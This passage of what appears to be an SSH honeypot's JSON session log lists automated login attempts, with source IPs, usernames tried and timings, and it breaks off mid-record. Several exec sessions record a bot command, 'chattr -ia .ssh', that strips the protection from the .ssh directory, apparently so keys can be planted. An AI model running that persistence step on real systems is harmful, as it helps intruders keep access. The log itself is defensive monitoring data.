  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:39:10.618144+00:00",
  "ended_at": "2026-08-23T18:39:12.458173+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "992d97c7-77cd-4152-bd8f-bf9b52fc8828",
  "name": "frosty-grumpy-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.145.0.61",
  "src_port": 51740,
  "username": "virt",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 722,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T18:39:00.639689+00:00",
  "ended_at": "2026-08-23T18:39:00.867053+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3739
 },
 {
  "id": "9e16ff8e-15dc-4ea3-9e7d-19a3c6ba3ab9",
  "name": "crisp-fickle-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.145.0.61",
  "src_port": 33344,
  "username": "virt",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:38:42.551133+00:00",
  "ended_at": "2026-08-23T18:38:42.901004+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7ff4109e-302c-4a3b-98aa-421e6b5df292",
  "name": "rugged-candid-muntjac",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.145.0.61",
  "src_port": 54260,
  "username": "virt",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:38:24.691095+00:00",
  "ended_at": "2026-08-23T18:38:26.633029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f95c97b-d127-4b82-a6b3-73331e6f7187",
  "name": "autumn-canny-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.145.0.61",
  "src_port": 53024,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:38:21.336712+00:00",
  "ended_at": "2026-08-23T18:38:23.233082+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "253ebc1f-c005-42fb-b3b0-0822ebb67d2a",
  "name": "jolly-jaunty-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.216.145.2",
  "src_port": 55562,
  "username": "hassan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:36:38.252065+00:00",
  "ended_at": "2026-08-23T18:36:39.073061+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1a8e711c-0f52-48f0-9e93-70bae9c39a5d",
  "name": "ashen-hushed-boar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.145.0.61",
  "src_port": 60466,
  "username": "nexus",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:35:54.796728+00:00",
  "ended_at": "2026-08-23T18:35:56.697064+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a6d2123d-a431-4da2-b4f9-a785e41a3f15",
  "name": "jagged-noble-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.216.145.2",
  "src_port": 33034,
  "username": "plex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:34:03.597090+00:00",
  "ended_at": "2026-08-23T18:34:04.885061+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc87cddb-d1e4-451a-9b08-c29a7cdcf4f0",
  "name": "indigo-merry-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.145.0.61",
  "src_port": 40972,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:33:33.611636+00:00",
  "ended_at": "2026-08-23T18:33:35.200018+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f8d1b88-7ff5-437d-92e7-8c545d3b1780",
  "name": "stoic-languid-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.216.145.2",
  "src_port": 53734,
  "username": "jerry",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:29:21.966259+00:00",
  "ended_at": "2026-08-23T18:29:23.887066+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "41a57bad-0c9a-4b76-aebf-a9c729e2ef9e",
  "name": "smoky-autumn-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.145.0.61",
  "src_port": 59386,
  "username": "shivam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:28:07.878210+00:00",
  "ended_at": "2026-08-23T18:28:09.755078+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "44791e79-6a9a-48df-b16a-8a9d34c43098",
  "name": "wandering-blunt-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "102.211.152.138",
  "src_port": 47036,
  "username": "adminweb",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T17:10:10.486640+00:00",
  "ended_at": "2026-08-23T17:10:10.586345+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3592
 },
 {
  "id": "3c7a285d-7a9d-4981-9fd1-df49b002f281",
  "name": "russet-cunning-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.211.152.138",
  "src_port": 44944,
  "username": "adminweb",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T17:09:56.071094+00:00",
  "ended_at": "2026-08-23T17:09:56.456593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "898024fc-a7fe-485c-9890-d3ce71166e0e",
  "name": "loyal-gloomy-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.211.152.138",
  "src_port": 47060,
  "username": "adminweb",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T17:09:45.496492+00:00",
  "ended_at": "2026-08-23T17:09:47.417012+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fcad412f-e1e5-4325-8537-2ac973bdcd8e",
  "name": "dappled-flinty-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.211.152.138",
  "src_port": 47044,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T17:09:43.284277+00:00",
  "ended_at": "2026-08-23T17:09:44.801060+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2c7c0e88-da83-4bc5-a897-2cd8f0640ab0",
  "name": "feral-patient-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.211.152.138",
  "src_port": 47436,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T17:07:18.641102+00:00",
  "ended_at": "2026-08-23T17:07:19.581028+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4b4a7481-28dd-4636-926d-88ae6ce51d5c",
  "name": "wandering-forlorn-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.235.9",
  "src_port": 50700,
  "username": "gbase",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 247,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T17:07:09.255602+00:00",
  "ended_at": "2026-08-23T17:07:10.091833+00:00",
  "ended_reason": "exec complete",
  "commands": 26,
  "transcript_bytes": 3928
 },
 {
  "id": "ea7b4b9c-9677-49bf-b086-451c5994623f",
  "name": "prickly-airy-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.235.9",
  "src_port": 49252,
  "username": "gbase",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T17:07:04.150088+00:00",
  "ended_at": "2026-08-23T17:07:04.309722+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e48f7c21-a447-4bf4-9378-b493994ff4f3",
  "name": "foggy-freckled-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.235.9",
  "src_port": 50728,
  "username": "gbase",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T17:06:55.292067+00:00",
  "ended_at": "2026-08-23T17:06:56.634400+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "363a35bb-207b-477d-b86e-b83bc3863c16",
  "name": "prairie-grassy-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.235.9",
  "src_port": 50716,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T17:06:52.864677+00:00",
  "ended_at": "2026-08-23T17:06:54.783049+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e5dd23d5-be13-4158-9f2b-a9174ba58666",
  "name": "hearty-glassy-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.211.152.138",
  "src_port": 50128,
  "username": "jumpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T17:04:54.504013+00:00",
  "ended_at": "2026-08-23T17:04:56.074047+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51f542d5-4398-41dd-8a4b-d567afcb841d",
  "name": "meadow-restless-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.235.9",
  "src_port": 46012,
  "username": "test001",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T17:04:38.878607+00:00",
  "ended_at": "2026-08-23T17:04:39.589576+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3c823145-3044-42f0-802c-fbfb6fd07b13",
  "name": "meadow-dapper-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.235.9",
  "src_port": 38966,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T17:00:11.762165+00:00",
  "ended_at": "2026-08-23T17:00:13.539016+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d40fc6f9-c1ac-4db1-a23b-cfd3e079002a",
  "name": "northern-dapper-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.211.152.138",
  "src_port": 34952,
  "username": "email",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T16:59:06.342198+00:00",
  "ended_at": "2026-08-23T16:59:07.551751+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "15b8cc85-2e01-49d5-8d23-197de278f1b5",
  "name": "inland-ashen-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "4.224.40.94",
  "src_port": 58494,
  "username": "mailuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 617,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T16:13:55.703155+00:00",
  "ended_at": "2026-08-23T16:13:55.895998+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3943
 },
 {
  "id": "fef99d56-3c1c-475d-bfd6-e26b52095e1e",
  "name": "hazy-salty-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "4.224.40.94",
  "src_port": 56066,
  "username": "mailuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T16:13:38.337085+00:00",
  "ended_at": "2026-08-23T16:13:38.696011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08d668e1-217a-49ae-a134-756c6ba22cf5",
  "name": "smooth-bold-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "4.224.40.94",
  "src_port": 58520,
  "username": "mailuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T16:13:23.635414+00:00",
  "ended_at": "2026-08-23T16:13:24.839876+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6d7e9dcf-9091-4e4a-9a42-a3f5369e719b",
  "name": "whispering-dusty-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "4.224.40.94",
  "src_port": 58504,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T16:13:20.816227+00:00",
  "ended_at": "2026-08-23T16:13:22.373017+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fc24c732-24c6-48e0-bb86-23859419fd24",
  "name": "wiry-austere-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "4.224.40.94",
  "src_port": 50036,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 612,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T16:10:49.760102+00:00",
  "ended_at": "2026-08-23T16:10:50.485027+00:00",
  "ended_reason": "exec complete",
  "commands": 5,
  "transcript_bytes": 704
 },
 {
  "id": "1cfc70a3-1591-4264-883f-db0022b95f90",
  "name": "airy-brave-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "4.224.40.94",
  "src_port": 37932,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T16:10:46.655586+00:00",
  "ended_at": "2026-08-23T16:10:48.342413+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "589c6608-e9de-44db-830d-d9c6235156e6",
  "name": "smooth-muted-gull",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "4.224.40.94",
  "src_port": 50050,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T16:10:43.849584+00:00",
  "ended_at": "2026-08-23T16:10:45.489013+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1cd37643-d6fd-4eb0-9ce8-fecfb4a37c13",
  "name": "hazel-thawing-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "4.224.40.94",
  "src_port": 47668,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T16:08:04.172080+00:00",
  "ended_at": "2026-08-23T16:08:05.176005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "686262a0-f037-45b6-8b9a-c54fe88ba991",
  "name": "quaint-silent-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "4.224.40.94",
  "src_port": 60000,
  "username": "user001",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T16:02:17.384126+00:00",
  "ended_at": "2026-08-23T16:02:19.373031+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40817a97-176c-48c1-b57c-ffceaa09c3dc",
  "name": "opal-rambling-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.199.36",
  "src_port": 60606,
  "username": "caleb",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 377,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T13:50:29.670651+00:00",
  "ended_at": "2026-08-23T13:50:29.782631+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3455
 },
 {
  "id": "fabca02b-1be6-45d0-a48a-f329442c38a6",
  "name": "crystal-foggy-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.199.36",
  "src_port": 58728,
  "username": "caleb",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:50:15.377085+00:00",
  "ended_at": "2026-08-23T13:50:15.792000+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dcd8f1dc-c92b-4676-9698-2e8501084616",
  "name": "chilly-diligent-agouti",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.199.36",
  "src_port": 60620,
  "username": "caleb",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:50:04.585077+00:00",
  "ended_at": "2026-08-23T13:50:06.122448+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e8b85b4a-0ab7-41c7-80e5-94c0180ebba1",
  "name": "plush-dusty-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.199.36",
  "src_port": 60616,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:50:01.891829+00:00",
  "ended_at": "2026-08-23T13:50:03.828739+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54c7eec2-7b8b-4377-8aa8-068f135175b0",
  "name": "wooded-nimble-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.199.36",
  "src_port": 41920,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:47:35.073171+00:00",
  "ended_at": "2026-08-23T13:47:36.276132+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bdaf581a-cda9-473b-b316-93f54c67069b",
  "name": "foggy-cunning-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "41.63.62.103",
  "src_port": 38488,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 917,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T13:46:37.478805+00:00",
  "ended_at": "2026-08-23T13:46:37.768414+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3538
 },
 {
  "id": "1947cffd-b619-4320-bcd8-472ea3dbf387",
  "name": "frosty-fickle-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.63.62.103",
  "src_port": 45256,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:46:16.864090+00:00",
  "ended_at": "2026-08-23T13:46:17.239129+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e188238-bf28-4334-be52-dc8800d8ab7f",
  "name": "tidal-indigo-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.63.62.103",
  "src_port": 49812,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:45:56.715081+00:00",
  "ended_at": "2026-08-23T13:45:58.354998+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ad2e7358-59bc-4a1e-b577-1ad0c9c997b1",
  "name": "electric-brazen-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.63.62.103",
  "src_port": 49796,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:45:53.166116+00:00",
  "ended_at": "2026-08-23T13:45:55.047044+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "536c0508-5318-4e55-9a42-49b69fdd7eab",
  "name": "fearless-hidden-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.199.36",
  "src_port": 52362,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:45:21.430502+00:00",
  "ended_at": "2026-08-23T13:45:22.481026+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0899736a-f5c4-43ba-ae66-af01f033ef22",
  "name": "western-bold-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.63.62.103",
  "src_port": 35366,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:41:52.664244+00:00",
  "ended_at": "2026-08-23T13:41:53.912899+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1630763a-1328-4896-a396-c8eac5e9fdbc",
  "name": "frank-nautical-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "41.63.62.103",
  "src_port": 34728,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T13:41:47.553803+00:00",
  "ended_at": "2026-08-23T13:41:48.507007+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "921ae46f-dc21-4bdb-a9a1-0683f6027dae",
  "name": "meadow-emerald-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.199.36",
  "src_port": 43642,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:37:57.127134+00:00",
  "ended_at": "2026-08-23T13:37:58.745001+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3524371a-db6c-47d8-8c58-6d5a4805d974",
  "name": "quaint-weathered-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "41.63.62.103",
  "src_port": 43436,
  "username": "amir",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1645,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T13:37:37.092215+00:00",
  "ended_at": "2026-08-23T13:37:39.352565+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 773
 },
 {
  "id": "2c6df11f-24f5-44ae-81c6-129be34adcaa",
  "name": "gloomy-bashful-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.63.62.103",
  "src_port": 43448,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:37:19.793521+00:00",
  "ended_at": "2026-08-23T13:37:21.222119+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "291af6ba-5824-42c1-977c-866685fc9534",
  "name": "frank-foggy-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.71.192.108",
  "src_port": 39330,
  "username": "developer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 477,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T13:35:55.531860+00:00",
  "ended_at": "2026-08-23T13:35:55.678004+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3419
 },
 {
  "id": "bf36e1d2-5b79-457b-98b0-9d4c0a4da92c",
  "name": "dusty-stoic-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.71.192.108",
  "src_port": 50306,
  "username": "developer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:35:39.038083+00:00",
  "ended_at": "2026-08-23T13:35:39.286012+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "acfa63b5-d54f-4639-bb8d-c5ac8f88d9ad",
  "name": "fabled-lunar-sparrow",
